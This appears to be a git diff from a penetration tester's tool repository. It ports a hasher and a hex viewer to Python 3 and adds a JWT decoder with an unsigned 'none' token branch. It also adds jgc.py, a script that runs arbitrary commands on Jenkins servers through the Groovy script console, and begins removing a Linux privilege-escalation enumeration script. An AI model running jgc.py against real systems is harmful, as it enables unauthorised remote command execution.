diff --git a/hasher.py b/hasher.py index 2cbb2b8..562bf93 100755 --- a/hasher.py +++ b/hasher.py @@ -1,10 +1,8 @@ -#!/usr/bin/python -### created by bl4de | bloorq@gmail.com | twitter.com/_bl4de ### +#!/usr/bin//env python3 ### github.com/bl4de | hackerone.com/bl4de ### import sys import hashlib -import urllib import base64 description = """ @@ -12,24 +10,54 @@ usage: ./hasher.py [string_to_hash] """ +colors = { + "WHITE": '\33[37m', + "GREEN": '\33[32m', + "MAGENTA": '\33[35m', + "CYAN": '\33[36m', + "GREY": '\33[90m', + "LIGHTGREY": '\33[37m' +} + def usage(): - print description + ''' + prints usage info + ''' + print(description) exit(0) + def hex_encode(s): + ''' + HEX-encode string + ''' enc = '' for c in s: - enc = enc + (str(hex(ord(c))).replace('0x','')) + enc = enc + (str(hex(c)).replace('0x', '')) return enc def main(s): - print "SHA1\t\t{}".format(hashlib.sha1(s).hexdigest()) - print "MD5 \t\t{}".format(hashlib.md5(s).hexdigest()) - print "Base64 \t\t{}".format(base64.b64encode(s)) - print "URL-encoded \t{}".format(urllib.pathname2url(s)) - print "HEX encoded \t{}".format(hex_encode(s)) + ''' + prints all hashes for provided string + ''' + algorithms_available = ['md5', 'sha1', 'sha224', 'sha256', 'sha384', + 'sha512', 'blake2s', 'blake2b'] + print(f"\n{colors['GREEN']}HASHES:{colors['WHITE']}\n") + for h in algorithms_available: + if hasattr(hashlib, h): + try: + h_method = getattr(hashlib, h) + print( + f"{colors['GREY']}{h}\t\t{colors['CYAN']}{h_method(s.encode('utf-8')).hexdigest()}") + except TypeError as e: + pass + print(f"\n{colors['GREEN']}ENCODE:{colors['WHITE']}\n") + print( + f"{colors['GREY']}Base64 \t\t{colors['CYAN']}{base64.b64encode(s.encode('utf-8'))}") + print( + f"{colors['GREY']}HEX encoded \t{colors['CYAN']}{hex_encode(s.encode('utf-8'))}") if __name__ == "__main__": diff --git a/hexview/README.md b/hexview/README.md index 254d46c..67ffbdc 100644 --- a/hexview/README.md +++ b/hexview/README.md @@ -1,5 +1,7 @@ ### hexview.py +![](screen1.png) + hexview is an universal hex viewer for files. I've created this tool while learning some new Python skills from this awesome YT video tutorial by [DrapsTV](https://twitter.com/DrapsTV): @@ -49,13 +51,13 @@ $ hexview.py -d FILENAME #### Bytes range -Using ```-s``` (or ```--start```) and ```-e``` (or ```--end```) you can define range of bytes to display. +Using ```-s``` (or ```--start```) and ```-e``` (or ```--end```) you can define range of bytes to display. Values are hexadecimal offset. -View first 128 bytes of file: +View first 256 bytes of file: ``` -$ hexview.py -s 0 -e 128 FILENAME +$ hexview.py -s 0 -e ff FILENAME ``` @@ -77,9 +79,7 @@ main() { printf("Shellcode Length: %d\n", strlen(code)); - int (*ret)() = (int(*)())code; - ret(); } ``` @@ -89,15 +89,15 @@ As you can see, a string with mnemonics contains ```\xhh``` values. To easy get ``` -$ hexview.py -s 0 -e 128 --shellcode +$ hexview.py -s 0 -e 71 --shellcode ``` The result is: ``` -$ h -s 0 -e 128 --shellcode test.c +$ h -s 0 -e 71 --shellcode test.c -[+] Shellcode extracted from byte(s) 0x000000 to 0x000128: +[+] Shellcode extracted from byte(s) 0x000000 to 0x000071: \x69\x6e\x74\x20\x73\x28\x69\x6e\x74\x20\x78\x2c\x20\x69\x6e\x74\x20\x79\x29\x20\x7b\xa\x9\x72\x65\x74\x75\x72\x6e\x20\x78\x20\x2b\x20\x79\x3b\xa\x7d\xa\xa\x76\x6f\x69\x64\x20\x6d\x61\x69\x6e\x28\x29\x20\x7b\xa\x9\x69\x6e\x74\x20\x78\x20\x3d\x20\x31\x3b\xa\x9\x69\x6e\x74\x20\x79\x20\x3d\x20\x32\x3b\xa\xa\x9\x69\x6e\x74\x20\x73\x75\x6d\x20\x3d\x20\x73\x28\x78\x2c\x79\x29\x3b\xa\xa\x9\x72\x65\x74\x75\x72\x6e\x20\x73\x75\x6d\x3b\xa\x7d\xa @@ -132,5 +132,11 @@ Sample output: ![](screen1.jpg) +#### Display bytes using uppercasde characters + +`-u` or `--uppercase` allows to display output with uppercase characters: + + +![](uppercase.png) diff --git a/hexview/hexview.py b/hexview/hexview.py index c502c1a..8467d2d 100755 --- a/hexview/hexview.py +++ b/hexview/hexview.py @@ -1,4 +1,4 @@ -#!/usr/bin/python +#!/usr/local/homebrew/bin/python3 """ based on: "Tutorial: Making your own Hex Dump Program" by DrapsTV https://www.youtube.com/watch?v=B8nRrw_M_nk&index=1&list=WL @@ -9,98 +9,173 @@ import itertools import binascii -ASCII = 'ascii' -CTRL = 'ctrl' -OTHER = 'other' +ASCII = "ascii" +CTRL = "ctrl" +OTHER = "other" # https://en.wikipedia.org/wiki/List_of_file_signatures FILE_SIGNATURES = { - 'a1b2c3d4': 'Libpcap File Format', - 'd4c3b2a1': 'Libpcap File Format', - '0a0d0d0a': 'PCAP Next Generation Dump File Format (pcapng)', - 'edabeedb': 'RedHat Package Manager (RPM) package', - '53503031': 'Amazon Kindle Update Package', - '00': 'IBM Storyboard bitmap file; Windows Program Information File; Mac Stuffit Self-Extracting Archive; IRIS OCR data file', - 'BEBAFECA': 'Palm Desktop Calendar Archive', - '00014244': 'Palm Desktop To Do Archive', - '00014454': 'Palm Desktop Calendar Archive', - '00010000': 'Palm Desktop Data File (Access format)', - '00000100': 'Computer icon encoded in ICO file format', - '667479703367': '3rd Generation Partnership Project 3GPP and 3GPP2 multimedia files', - '1FA0': 'Compressed file (often tar zip) using LZH algorithm', - '425A68': 'Compressed file using Bzip2 algorithm', - '474946383761': 'Image file encoded in the Graphics Interchange Format (GIF) - GIF87a', - '474946383961': 'Image file encoded in the Graphics Interchange Format (GIF) - GIF89a', - 'FFD8FFE00010': 'JPEG raw or in the JFIF or Exif file format', - '49492A00': 'Tagged Image File Format (tiff, Little Endian format)', - '4D4D002A': 'Tagged Image File Format (tiff, Big Endian)', - '49492A0010000000': 'Canon RAW Format Version 2', - '4352':'Canon RAW format is based on the TIFF file format', - '802A5FD7': 'Kodak Cineon image', - '524E4301':'Compressed file using Rob Northen Compression version 1', - '524E4302':'Compressed file using Rob Northen Compression version 2', - '53445058':'SMPTE DPX image (big endian format)', - '58504453':'SMPTE DPX image (little endian format)', - '762F3101': 'OpenEXR image', - '425047FB':'Better Portable Graphics', - 'FFD8FFDB':'JPEG raw or in the JFIF or Exif file format', - 'FFD8FFE000104A4649460001':'JPEG raw or in the JFIF or Exif file format', - 'FFD8FFE1':'JPEG raw or in the JFIF or Exif file format', - '464F52':'IFF Interleaved Bitmap Image', - '4C424D':'IFF Interleaved Bitmap Image', - '464F52':'IFF 8-Bit Sampled Voice', - '535658':'IFF 8-Bit Sampled Voice', - '464F524D': 'IFF (misc filetypes)', - '4C5A4950': 'lzip compressed file', - '4D5A':'DOS MZ executable file format and its descendants (including NE and PE)', - '504B0304':'zip file format and formats based on it, such as JAR, ODF, OOXML', - '504B0506':'zip file format and formats based on it, such as JAR, ODF, OOXML (empty archive)', - '504B0708':'zip file format and formats based on it, such as JAR, ODF, OOXML (spanned archive)', - '526172211A0700':'RAR archive version 1.50 onwards', - '526172211A070100':'RAR archive version 5.0 onwards', - '7F454C46': 'ELF Executable and Linkable Format', - '89504E470D0A1A0A':'Image encoded in the Portable Network Graphics format (PNG)', - 'CAFEBABE':'Java class file, Mach-O Fat Binary', - 'EFBBBF':'UTF-8 encoded Unicode byte order mark, commonly seen in text files', - 'FEEDFACE':'Mach-O binary (32-bit)', - 'FEEDFACF':'Mach-O binary (64-bit)', - 'CEFAEDFE':'Mach-O binary (reverse byte ordering scheme, 32-bit)', - 'CFFAEDFE':'Mach-O binary (reverse byte ordering scheme, 64-bit)', - 'FFFE':'Byte-order mark for text file encoded in little-endian 16-bit Unicode Transfer Format', - 'FFFE0000':'Byte-order mark for text file encoded in little-endian 32-bit Unicode Transfer Format', - '25215053':'PostScript document', - '25504446':'PDF document' + "a1b2c3d4": "Libpcap File Format", + # '47': 'MPEG Transport Stream (MPEG-2 Part 1)', + "d4c3b2a1": "Libpcap File Format", + "0a0d0d0a": "PCAP Next Generation Dump File Format (pcapng)", + "edabeedb": "RedHat Package Manager (RPM) package", + "53503031": "Amazon Kindle Update Package", + "00": "IBM Storyboard bitmap file; Windows Program Information File; Mac Stuffit Self-Extracting Archive; IRIS OCR data file", + "BEBAFECA": "Palm Desktop Calendar Archive", + "00014244": "Palm Desktop To Do Archive", + "00014454": "Palm Desktop Calendar Archive", + "00010000": "Palm Desktop Data File (Access format)", + "00000100": "Computer icon encoded in ICO file format", + "667479703367": "3rd Generation Partnership Project 3GPP and 3GPP2 multimedia files", + "1FA0": "Compressed file (often tar zip) using LZH algorithm", + "425A68": "Compressed file using Bzip2 algorithm", + "474946383761": "Image file encoded in the Graphics Interchange Format (GIF) - GIF87a", + "474946383961": "Image file encoded in the Graphics Interchange Format (GIF) - GIF89a", + "FFD8FFE00010": "JPEG raw or in the JFIF or Exif file format", + "49492A00": "Tagged Image File Format (tiff, Little Endian format)", + "4D4D002A": "Tagged Image File Format (tiff, Big Endian)", + "49492A0010000000": "Canon RAW Format Version 2", + "4352": "Canon RAW format is based on the TIFF file format", + "802A5FD7": "Kodak Cineon image", + "524E4301": "Compressed file using Rob Northen Compression version 1", + "524E4302": "Compressed file using Rob Northen Compression version 2", + "53445058": "SMPTE DPX image (big endian format)", + "58504453": "SMPTE DPX image (little endian format)", + "762F3101": "OpenEXR image", + "425047FB": "Better Portable Graphics", + "FFD8FFDB": "JPEG raw or in the JFIF or Exif file format", + "FFD8FFE000104A4649460001": "JPEG raw or in the JFIF or Exif file format", + "FFD8FFE1": "JPEG raw or in the JFIF or Exif file format", + "464F52": "IFF Interleaved Bitmap Image", + "4C424D": "IFF Interleaved Bitmap Image", + "464F52": "IFF 8-Bit Sampled Voice", + "535658": "IFF 8-Bit Sampled Voice", + "464F524D": "IFF (misc filetypes)", + "4C5A4950": "lzip compressed file", + "4D5A": "DOS MZ executable file format and its descendants (including NE and PE)", + "504B0304": "zip file format and formats based on it, such as JAR, ODF, OOXML", + "504B0506": "zip file format and formats based on it, such as JAR, ODF, OOXML (empty archive)", + "504B0708": "zip file format and formats based on it, such as JAR, ODF, OOXML (spanned archive)", + "526172211A0700": "RAR archive version 1.50 onwards", + "526172211A070100": "RAR archive version 5.0 onwards", + "7F454C46": "ELF Executable and Linkable Format", + "89504E470D0A1A0A": "Image encoded in the Portable Network Graphics format (PNG)", + "CAFEBABE": "Java class file, Mach-O Fat Binary", + "EFBBBF": "UTF-8 encoded Unicode byte order mark, commonly seen in text files", + "FEEDFACE": "Mach-O binary (32-bit)", + "FEEDFACF": "Mach-O binary (64-bit)", + "CEFAEDFE": "Mach-O binary (reverse byte ordering scheme, 32-bit)", + "CFFAEDFE": "Mach-O binary (reverse byte ordering scheme, 64-bit)", + "FFFE": "Byte-order mark for text file encoded in little-endian 16-bit Unicode Transfer Format", + "FFFE0000": "Byte-order mark for text file encoded in little-endian 32-bit Unicode Transfer Format", + "25215053": "PostScript document", + "25504446": "PDF document", + "3026B2758E66CF11": "Advanced Systems Format (asf, wma, wmv)", + "A6D900AA0062CE6C": "Advanced Systems Format (asf, wma, wmv)", + "2453444930303031": "System Deployment Image, a disk image format used by Microsoft", + "4F676753": "Ogg, an open source media container format", + "38425053": "Photoshop Document file, Adobe Photoshop native file format", + "FFFB": "MPEG-1 Layer 3 file without an ID3 tag or with an ID3v1 tag (whichs appended at the end of the file)", + "494433": "MP3 file with an ID3v2 container", + "424D": "BMP file, a bitmap format used mostly in the Windows world", + "4344303031": "ISO9660 CD/DVD image file", + "53494D504C452020": "Flexible Image Transport System (FITS)", + "664C6143": "Free Lossless Audio Codec (flac)", + "4D546864": "MIDI sound file", + "D0CF11E0A1B11AE1": "Compound File Binary Format, a container format used for document by older versions of Microsoft Office", + "6465780A30333500": "Dalvik Executable", + "4B444D": "VMDK files", + "43723234": "Google Chrome extension or packaged app", + "41474433": "FreeHand 8 document", + "05070000424F424F": "AppleWorks 5 document", + "0607E100424F424F": "AppleWorks 6 document", + "455202000000": "Roxio Toast disc image file, also some .dmg-files begin with same bytes", + "8B455202000000": "Roxio Toast disc image file, also some .dmg-files begin with same bytes", + "7801730D626260": "Apple Disk Image file", + "78617221": "eXtensible ARchive format", + "504D4F43434D4F43": "Windows Files And Settings Transfer Repository", + "4E45531A": "Nintendo Entertainment System ROM file", + "7573746172003030": "tar archive", + "7573746172202000": "tar archive", + "746F7833": "Open source portable voxel file", + "4D4C5649": "Magic Lantern Video file", + "44434D0150413330": "Windows Update Binary Delta Compression", + "377ABCAF271C": "7-Zip File Format", + "1F8B": "GZIP file", + "FD377A585A0000": "XZ compression utility using LZMA/LZMA2 compression", + "04224D18": "LZ4 Frame Format", + "4D534346": "Microsoft Cabinet file", + "535A444488F02733": "Microsoft compressed file in Quantum format", + "464C4946": "Free Lossless Image Format", + "1A45DFA3": "Matroska media container, including WebM", + "3082": "DER encoded X.509 certificate", + "4449434D": "DICOM Medical File Format", + "774F4646": "WOFF File Format 1.0", + "774F4632": "WOFF File Format 2.0", + "3c3f786d6c20": "eXtensible Markup Language (xml) when using the ASCII character encoding", + "0061736d": "WebAssembly binary format", + "cf8401": "Lepton compressed JPEG image", + "435753": "flash .swf", + "465753": "flash .swf", + "213C617263683E": "linux deb file", + "52494646": "Google WebP image file", + "27051956": "U-Boot / uImage. Das U-Boot Universal Boot Loader", + "7B5C72746631": "Rich Text Format", + "54415045": "Microsoft Tape Format", + "000001BA": "MPEG Program Stream (MPEG-1 Part 1 (essentially identical) and MPEG-2 Part 1)", + "000001B3": "MPEG Program Stream; MPEG Transport Stream; MPEG-1 video and MPEG-2 video (MPEG-1 Part 2 and MPEG-2 Part 2)", + "7801": "zlib (No Compression/low)", + "789c": "zlib (Default Compression)", + "78da": "zlib (Best Compression)", + "1F8B0800": "Minecraft Level Data File (NBT)", + "62767832": "LZFSE - Lempel-Ziv style data compression algorithm using Finite State Entropy coding. (bvx2)", + "4F5243": "Apache ORC (Optimized Row Columnar) file format", + "4F626A01": "Apache Avro binary file format", + "53455136": "RCFile columnar file format", + "65877856": "PhotoCap Object Templates", + "5555aaaa": "PhotoCap Vector", + "785634": "PhotoCap Template", + "50415231": "Apache Parquet columnar file format", + "454D5832": "Emulator Emaxsynth samples", + "454D5533": "Emulator III synth samples", + "1B4C7561": "Lua bytecode", } COLORS = { - "black": '\33[0;30m\33[40m', - "white": '\33[0;37m\33[40m', - "red": '\33[0;31m\33[40m', - "green": '\33[0;32m\33[40m', - "green_bg": '\33[1;32m\33[41m', - "yellow": '\33[0;33m\33[40m', - "yellow_bg": '\33[1;33m\33[41m', - "blue": '\33[0;34m\33[40m', - "magenta": '\33[0;35m\33[40m', - "magenta_bg": '\33[1;35m\33[41m', - "cyan": '\33[0;36m\33[40m', - "grey": '\33[0;90m\33[40m', - "lightgrey": '\33[0;37m\33[40m', - "lightblue": '\33[0;94m\33[40m' + "black": "\33[0;30m", + "white": "\33[0;37m", + "red": "\33[0;31m", + "green": "\33[0;32m", + "green_bg": "\33[1;32m\33[41m", + "yellow": "\33[0;33m", + "yellow_bg": "\33[1;33m\33[41m", + "blue": "\33[0;34m", + "magenta": "\33[0;35m", + "magenta_bg": "\33[1;35m\33[41m", + "cyan": "\33[0;36m", + "grey": "\33[0;90m", + "lightgrey": "\33[0;37m", + "lightblue": "\33[0;94m", } +# some globals +upper_case = False + def file_type(file_signature): """ Recognize file type based on file 'magic numbers' """ file_signature = binascii.hexlify(file_signature).upper() - recognized = 'ASCII text (no file signature found)' + recognized = "ASCII text (no file signature found)" for signature in FILE_SIGNATURES: - if file_signature.startswith(signature.upper()): + if file_signature.decode('utf-8').startswith(signature.upper()): recognized = FILE_SIGNATURES[signature] - return "{}\n[+] File type: {}{}{}".format(COLORS['cyan'], COLORS['yellow'], recognized, COLORS['white']) + return "{}\n[+] File type: {}{}{}".format( + COLORS["cyan"], COLORS["yellow"], recognized, COLORS["white"] + ) def char_type(c): @@ -118,45 +193,47 @@ def make_color(c, df_c=False): """ Formats color for byte depends on if it's printable ASCII """ - + global upper_case + retval = "" # for file diff - if characters are different, use bg color for char: diff = (c != df_c) if df_c != False else False # printable ASCII: if char_type(c) == ASCII: if diff: retval = "{}{:02X}{}".format( - COLORS['green_bg'], ord(c), COLORS['white']) + COLORS["green_bg"], ord(c), COLORS["white"]) else: retval = "{}{:02X}{}".format( - COLORS['green'], ord(c), COLORS['white']) + COLORS["green"], ord(c), COLORS["white"]) if char_type(c) == OTHER: if diff: retval = "{}{:02X}{}".format( - COLORS['yellow_bg'], ord(c), COLORS['white']) + COLORS["yellow_bg"], ord(c), COLORS["white"]) else: retval = "{}{:02X}{}".format( - COLORS['yellow'], ord(c), COLORS['white']) + COLORS["yellow"], ord(c), COLORS["white"]) if char_type(c) == CTRL: if diff: retval = "{}{:02X}{}".format( - COLORS['magenta_bg'], ord(c), COLORS['white']) + COLORS["magenta_bg"], ord(c), COLORS["white"]) else: retval = "{}{:02X}{}".format( - COLORS['magenta'], ord(c), COLORS['white']) + COLORS["magenta"], ord(c), COLORS["white"]) - return retval + return retval if upper_case else retval.lower() def format_text(c): """ Formats color for character depends on if it's printable ASCII """ + retval = "" if char_type(c) == ASCII: - retval = "{}{}{}".format(COLORS['lightblue'], c, COLORS['white']) + retval = "{}{}{}".format(COLORS["lightblue"], c, COLORS["white"]) if char_type(c) == CTRL: - retval = "{}.{}".format(COLORS['magenta'], COLORS['white']) + retval = "{}.{}".format(COLORS["magenta"], COLORS["white"]) if char_type(c) == OTHER: - retval = "{}.{}".format(COLORS['yellow'], COLORS['white']) + retval = "{}.{}".format(COLORS["yellow"], COLORS["white"]) return retval @@ -166,14 +243,25 @@ def format_chunk(chunk, start, stop, df_chunk=False, dec=False): """ if dec: if df_chunk: - return " ".join("{}:{}{:#04}{} ".format(make_color(c, df_c), COLORS['grey'], - ord(c), COLORS['white']) for c, df_c in itertools.izip(chunk[start:stop], df_chunk[start:stop])) - return " ".join("{}:{}{:#04}{} ".format(make_color(c), COLORS['grey'], - ord(c), COLORS['white']) for c in chunk[start:stop]) + return " ".join( + "{}:{}{:#04}{} ".format( + make_color(c, df_c), COLORS["grey"], ord( + c), COLORS["white"] + ) + for c, df_c in itertools.izip(chunk[start:stop], df_chunk[start:stop]) + ) + return " ".join( + "{}:{}{:#04}{} ".format( + make_color(c), COLORS["grey"], ord(c), COLORS["white"] + ) + for c in chunk[start:stop] + ) else: if df_chunk: - return " ".join("{} ".format(make_color(c, df_c)) - for c, df_c in itertools.izip(chunk[start:stop], df_chunk[start:stop])) + return " ".join( + "{} ".format(make_color(c, df_c)) + for c, df_c in itertools.izip(chunk[start:stop], df_chunk[start:stop]) + ) return " ".join("{} ".format(make_color(c)) for c in chunk[start:stop]) @@ -186,13 +274,26 @@ def extract_shellcode(start, end, read_binary): s = read_binary.read(end - start) for c in s: if ord(c) == 0: - shellcode = shellcode + "{}".format(COLORS['red']) + str( - hex(ord(c))).replace("0x", "\\x") + "{}".format(COLORS['white']) + shellcode = ( + shellcode + + "{}".format(COLORS["red"]) + + str(hex(ord(c))).replace("0x", "\\x") + + "{}".format(COLORS["white"]) + ) else: - shellcode = shellcode + "{}".format(COLORS['yellow']) + str( - hex(ord(c))).replace("0x", "\\x") + "{}".format(COLORS['white']) - print "\n{}[+] Shellcode extracted from byte(s) {:#08x} to {:#08x}:{}".format(COLORS['cyan'], start, end, COLORS['white']) - print "\n{}\n".format(shellcode) + shellcode = ( + shellcode + + "{}".format(COLORS["yellow"]) + + str(hex(ord(c))).replace("0x", "\\x") + + "{}".format(COLORS["white"]) + ) + print( + "\n{}[+] Shellcode extracted from byte(s) {:#08x} to {:#08x}:{}".format( + COLORS["cyan"], start, end, COLORS["white"] + ) + ) + print("\n{}\n".format(shellcode)) + if __name__ == "__main__": """ @@ -204,50 +305,70 @@ def extract_shellcode(start, end, read_binary): parser = argparse.ArgumentParser() parser.add_argument("file", help="Specify a file") parser.add_argument( - "-d", "--decimal", help="Display DEC values with HEX", action="store_true") - parser.add_argument( - "-s", "--start", help="Start byte") + "-d", "--decimal", help="Display DEC values with HEX", action="store_true" + ) + parser.add_argument("-s", "--start", help="Start byte") + parser.add_argument("-e", "--end", help="End byte") + parser.add_argument("-D", "--diff", help="Perform diff with FILENAME") parser.add_argument( - "-e", "--end", help="End byte") + "-S", + "--shellcode", + help="Extract shellcode (-s and -e has to be passed)", + action="store_true", + ) parser.add_argument( - "-D", "--diff", help="Perform diff with FILENAME") - parser.add_argument( - "-S", "--shellcode", help="Extract shellcode (-s and -e has to be passed)", action="store_true") - - args = parser.parse_args() + "-u", + "--uppercase", + help="Display output using uppercase characters", + action="store_true", + ) + + arguments = parser.parse_args() + print(arguments) b = 16 + diff_file = None # for -D / --diff - second file has to be opened # https://github.com/bl4de/security-tools/issues/22 [RESOLVED] - if args.diff: - diff_file = open(args.diff, 'rb') + if arguments.diff: + diff_file = open(arguments.diff, "rb") - if args.file: - # read first 8 bytes to recognize file type - print file_type(open(args.file, 'rb').read(8)) + if arguments.uppercase: + upper_case = True - with open(args.file, 'rb') as infile: - if args.start > -1 and args.end and (int(args.start, 16) > -1 and int(args.end, 16) > int(args.start, 16)): - __FROM = int(args.start, 16) - __TO = int(args.end, 16) + if arguments.file: + # read first 8 bytes to recognize file type + print(file_type(open(arguments.file, "rb").read(8))) + + with open(arguments.file, "rb") as infile: + if ( + arguments.start is not None and int(arguments.start) > -1 + and arguments.end is not None and (int(arguments.end) > 1) + and ( + int(arguments.start, 16) > - + 1 and int(arguments.end, 16) > int(arguments.start, 16) + ) + ): + __FROM = int(arguments.start, 16) + __TO = int(arguments.end, 16) else: - __TO = os.path.getsize(args.file) + __TO = os.path.getsize(arguments.file) - if args.shellcode and __FROM > -1 and __TO: + if arguments.shellcode and __FROM > -1 and __TO: extract_shellcode(__FROM, __TO, infile) infile.seek(__FROM) - if args.diff: + if arguments.diff is not None: diff_file.seek(__FROM) offset = __FROM - print "{}[+] Hex dump: {}\n".format(COLORS['cyan'], COLORS['white']) + print("{}[+] Hex dump: {}\n".format(COLORS["cyan"], COLORS["white"])) while offset < __TO: chunk = infile.read(b) - if args.diff: + if arguments.diff is not None: df_chunk = diff_file.read(b) else: df_chunk = False @@ -256,52 +377,66 @@ def extract_shellcode(start, end, read_binary): break text = str(chunk) - text = ''.join([format_text(i) for i in text]) + text = "".join([format_text(i) for i in text]) - output = "{}{:#08x}{}".format( - COLORS['cyan'], offset, COLORS['white']) + ": " + output = ( + "{}{:#08x}{}".format( + COLORS["cyan"], offset, COLORS["white"]) + ": " + ) output += format_chunk(chunk, 0, 4, - df_chunk, args.decimal) + " | " + df_chunk, arguments.decimal) + " " output += format_chunk(chunk, 4, 8, - df_chunk, args.decimal) + " | " + df_chunk, arguments.decimal) + " " output += format_chunk(chunk, 8, 12, - df_chunk, args.decimal) + " | " - output += format_chunk(chunk, 12, 16, df_chunk, args.decimal) + df_chunk, arguments.decimal) + " " + output += format_chunk(chunk, 12, 16, + df_chunk, arguments.decimal) - if args.diff: + if arguments.diff is not None: df_text = str(df_chunk) - df_text = ''.join([format_text(i) for i in df_text]) - - df_output = " " + \ - format_chunk(df_chunk, 0, 4, chunk, - args.decimal) + " | " - df_output += format_chunk(df_chunk, - 4, 8, chunk, args.decimal) + " | " - df_output += format_chunk(df_chunk, - 8, 12, chunk, args.decimal) + " | " - df_output += format_chunk(df_chunk, 12, - 16, chunk, args.decimal) + df_text + df_text = "".join([format_text(i) for i in df_text]) + + df_output = ( + " " + + format_chunk(df_chunk, 0, 4, chunk, + arguments.decimal) + + " " + ) + df_output += ( + format_chunk(df_chunk, 4, 8, chunk, + arguments.decimal) + " " + ) + df_output += ( + format_chunk(df_chunk, 8, 12, chunk, + arguments.decimal) + " " + ) + df_output += ( + format_chunk(df_chunk, 12, 16, chunk, + arguments.decimal) + df_text + ) if len(chunk) % b != 0: - if args.decimal: + if arguments.decimal: output += " " * (((b * 2) - 4 - len(chunk))) + text - if args.diff: - df_output += " " * \ + if arguments.diff: + df_output += ( + " " * (((b * 2) - 4 - len(df_chunk))) + df_text + ) else: output += " " * (b + 4 - len(chunk)) + text - if args.diff: + if arguments.diff: df_output += " " * \ (b + 4 - len(df_chunk)) + df_text else: output += " " + text - if args.diff: + if arguments.diff: output += df_output - print output + print(output) offset += 16 print else: - print parser.usage + print(parser.usage) diff --git a/hexview/screen1.png b/hexview/screen1.png new file mode 100644 index 0000000..93aed7c Binary files /dev/null and b/hexview/screen1.png differ diff --git a/hexview/uppercase.png b/hexview/uppercase.png new file mode 100644 index 0000000..ea59961 Binary files /dev/null and b/hexview/uppercase.png differ diff --git a/ip_generator.py b/ip_generator.py index 75330a1..9952cbd 100755 --- a/ip_generator.py +++ b/ip_generator.py @@ -18,7 +18,7 @@ def help(): - print usage + print(usage) def generate(start, stop, logfile): @@ -31,6 +31,7 @@ def generate(start, stop, logfile): logfile.writelines("{}\n".format(res)) return + if __name__ == "__main__": f = open("ip_list.log", "w+") @@ -41,7 +42,6 @@ def generate(start, stop, logfile): start = sys.argv[1].split(".") stop = sys.argv[2].split(".") - print "\n[+] generating IP addresses in range from {} to {}...".format(sys.argv[1], sys.argv[2]) + print("\n[+] generating IP addresses in range from {} to {}...".format(sys.argv[1], sys.argv[2])) generate(start, stop, f) - print "[+] addresses generated...\n" - \ No newline at end of file + print("[+] addresses generated...\n") diff --git a/jgc.py b/jgc.py new file mode 100755 index 0000000..2511599 --- /dev/null +++ b/jgc.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python +import requests +import sys + +print(""" + Jenkins Groovy Console cmd runner. + + usage: ./jgc.py [HOST] + + Then type any command and wait for STDOUT output from remote machine. + Type 'exit' to exit :) +""") + +URL = sys.argv[1] + '/scriptText' +HEADERS = { + 'User-Agent': 'jgc' +} + +while 1: + CMD = input(">> Enter command to execute (or type 'exit' to exit): ") + if CMD == 'exit': + print("exiting...\n") + exit(0) + + DATA = { + 'script': 'println "{}".execute().text'.format(CMD) + } + result = requests.post(URL, headers=HEADERS, data=DATA) + print(result.text) diff --git a/jwt_decoder.py b/jwt_decoder.py new file mode 100755 index 0000000..6b3ae69 --- /dev/null +++ b/jwt_decoder.py @@ -0,0 +1,56 @@ +#!/usr/bin/env python3 + +# JWT Decoder +import base64 +import sys +import hmac +import hashlib +import binascii + +# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOiIxNDE2OTI5MDYxIiwianRpIjoiODAyMDU3ZmY5YjViNGViN2ZiYjg4NTZiNmViMmNjNWIiLCJzY29wZXMiOnsidXNlcnMiOnsiYWN0aW9ucyI6WyJyZWFkIiwiY3JlYXRlIl19LCJ1c2Vyc19hcHBfbWV0YWRhdGEiOnsiYWN0aW9ucyI6WyJyZWFkIiwiY3JlYXRlIl19fX0.gll8YBKPLq6ZLkCPLoghaBZG_ojFLREyLQYx0l2BG3E + +# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOiIxNDE2OTI5MDYxIiwianRpIjoiODAyMDU3ZmY5YjViNGViN2ZiYjg4NTZiNmViMmNjNWIiLCJzY29wZXMiOnsidXNlcnMiOnsiYWN0aW9ucyI6WyJyZWFkIiwiY3JlYXRlIl19LCJ1c2Vyc19hcHBfbWV0YWRhdGEiOnsiYWN0aW9ucyI6WyJyZWFkIiwiY3JlYXRlIl19fX0.15308fa263baaa57c2c84528d913ab75892352d927ccbd29e5af8fd783257996 + + +def get_parts(jwt): + return dict(zip(['header', 'payload', 'signature'], jwt.split('.'))) + + +def decode_part(part): + # use Base64URL decode plus optional padding. + # === makes sure that padding will be always correct + # extraneous padding is ignored + return base64.urlsafe_b64decode(part + '===') + + +def encode_part(part): + return base64.urlsafe_b64encode(part).replace(b'=', b'') + + +# doesn't work, needs to be fixed, one day :P +def build_jwt(header, payload, key, alg='hmac'): + message = b'.'.join([ + encode_part(header), + encode_part(payload) + ]) + + print(message) + if alg == 'hmac': + signature = hmac.new(key.encode(), message, + hashlib.sha256).hexdigest() + print(encode_part(bytes(signature, encoding='utf8'))) + elif alg == 'none': + # if alg is set to 'none' + signature = '' + else: + pass + return f'{message}.{signature}' + + +parts = get_parts(sys.argv[1]) + +header = decode_part(parts['header']) +print(header) + +payload = decode_part(parts['payload']) +print(payload) diff --git a/linenum.sh b/linenum.sh deleted file mode 100644 index a4e1023..0000000 --- a/linenum.sh +++ /dev/null @@ -1,1289 +0,0 @@ -#!/bin/bash -#A script to enumerate local information from a Linux host -v="version 0.6" -#@rebootuser - -#help function -usage () -{ -echo -e "\n\e[00;31m#########################################################\e[00m" -echo -e "\e[00;31m#\e[00m" "\e[00;33mLocal Linux Enumeration & Privilege Escalation Script\e[00m" "\e[00;31m#\e[00m" -echo -e "\e[00;31m#########################################################\e[00m" -echo -e "\e[00;33m# www.rebootuser.com | @rebootuser \e[00m" -echo -e "\e[00;33m# $v\e[00m\n" -echo -e "\e[00;33m# Example: ./LinEnum.sh -k keyword -r report -e /tmp/ -t \e[00m\n" - - echo "OPTIONS:" - echo "-k Enter keyword" - echo "-e Enter export location" - echo "-t Include thorough (lengthy) tests" - echo "-r Enter report name" - echo "-h Displays this help text" - echo -e "\n" - echo "Running with no options = limited scans/no output file" - -echo -e "\e[00;31m#########################################################\e[00m" -} -while getopts "h:k:r:e:t" option; do - case "${option}" in - k) keyword=${OPTARG};; - r) report=${OPTARG}"-"`date +"%d-%m-%y"`;; - e) export=${OPTARG};; - t) thorough=1;; - h) usage; exit;; - *) usage; exit;; - esac -done - -echo -e "\n\e[00;31m#########################################################\e[00m" |tee -a $report 2>/dev/null -echo -e "\e[00;31m#\e[00m" "\e[00;33mLocal Linux Enumeration & 